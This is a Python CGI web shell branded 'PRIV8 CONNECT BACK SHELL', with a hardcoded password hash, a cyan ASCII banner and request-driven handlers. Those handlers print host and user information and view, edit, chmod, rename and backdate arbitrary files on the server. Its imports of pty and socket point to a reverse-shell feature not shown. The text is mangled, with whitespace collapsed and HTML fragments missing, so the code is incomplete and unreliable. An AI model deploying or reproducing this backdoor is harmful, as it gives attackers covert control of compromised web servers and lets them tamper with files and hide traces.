#!/usr/bin/python import sys, os, cgi, commands, time, Cookie, socket, pty,select from base64 import b64encode from stat import * from datetime import datetime sys.stderr = open(os.devnull, 'w') password = "27db7898211c8ccbeb4d5a97d198839a" # r00t version = "0.5 [PRIV9]" esc = '%s['%chr(27) color = esc + "1;36m" reset = esc + "0m" # don't ask why i did it this way, ''' doesnt agree with pty's ascii = color################################################################################ ascii +=' @@@@@@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@ @@@ @@@ @@@ @@@@@@ @@@@@@ @@@@@@@ \r\n'# ascii +=' !@@ @@! @@@ @@! @@! @@@ @@! @@@ @@! !@@ @@@ @@! @@! @@!\r\n'# ascii +=' !@! @!@!@!@! !!@ @!@@!@! @!@@!@! !@!@! !@! @!!!: @!!!: @!! \r\n'# ascii +=' :!! !!: !!! !!: !!: !!: !!: !!! !!: !!: .!!: \r\n'# ascii +=' :: :: : : : : : : : .: : ::: :: ::: :: : : \r\n'# ascii +=' ~[ P R I V 8 C O N N E C T B A C K S H E L L ]~ \r\n'# ascii += reset############################################################################### def getall(theform, nolist = False): data = {} for field in theform.keys(): if type(theform[field]) == type([]): if not nolist: data[field] = theform.getlist(field) else: data[field] = theform.getfirst(field) elif theform[field].filename: _FILES[field] = theform[field] else: data[field] = theform[field].value return data def escape(str): return str.replace("'", "\\'").replace("\r", "\\r").replace("\n", "\\n") _FILES = {} _REQUEST = getall( cgi.FieldStorage() ) if _REQUEST.has_key('charset') == False: _REQUEST['charset'] = "Windows-1251" if _REQUEST.has_key('a') == False: _REQUEST['a'] = "files" if _REQUEST.has_key('c') == False: _REQUEST['c'] = os.getcwd() if _REQUEST.has_key('p1') == False: _REQUEST['p1'] = "" if _REQUEST.has_key('p2') == False: _REQUEST['p2'] = "" if _REQUEST.has_key('p3') == False: _REQUEST['p3'] = "" _COOKIE = Cookie.SimpleCookie() try: _COOKIE.load(os.environ["HTTP_COOKIE"]) except: pass def printLogin(): _COOKIE['psswd'] = ""; print _COOKIE; print "Content-type: text/html\n"; print """
Uname: User: Time: Cwd: | '
print '%s %d-%.2d-%.2d %.2d:%.2d:%.2d Server IP: %s Client IP: %s ' %( commands.getoutput( 'id' ).replace("root", "root"), t[0], t[1], t[2], t[3], t[4], t[5], os.environ['SERVER_ADDR'], os.environ['REMOTE_ADDR']) path = '' paths = cwd.split('/') paths.pop() for x in paths: path += x + '/' sys.stdout.write(""""""+x+"""/""") print " " + permsColor(cwd),"""[ home ]""" charsets = ['UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'] print ' | Currently logged in: '+commands.getoutput('users')+' |
[ '+x+' ] | ' print '
"""+writable+""" | """+writable+""" |
"""+writable+""" |
" for x in fp.readlines(): sys.stdout.write(cgi.escape(x)) fp.close() print "" except: print "Can't open file! "+_REQUEST['p1'] if _REQUEST['p2'] == "edit": try: fp = open(_REQUEST['p1'], 'r') print "" except: print "Can't open (create) file! "+_REQUEST['p1'] if _REQUEST['p2'] == "chmod": import stat, string if len(_REQUEST['p3']): perm = string.atoi(_REQUEST['p3'], 8) try: os.chmod(_REQUEST['p1'], perm) print "Done" except: print "Fail!" print "" if _REQUEST['p2'] == "rename": if len(_REQUEST['p3']): try: os.rename(_REQUEST['p1'], _REQUEST['p3']) _REQUEST['p1'] = _REQUEST['p3'] print "Done" except: print "Fail!" print "" if _REQUEST['p2'] == "touch": if len(_REQUEST['p3']): try: tmstmp = time.mktime(time.strptime(_REQUEST['p3'], "%Y-%m-%d %H:%M:%S")) os.utime(_REQUEST['p1'], (tmstmp, tmstmp)) item_stat = os.stat(_REQUEST['p1']) print "Done" except: print "Fail!" print "" print "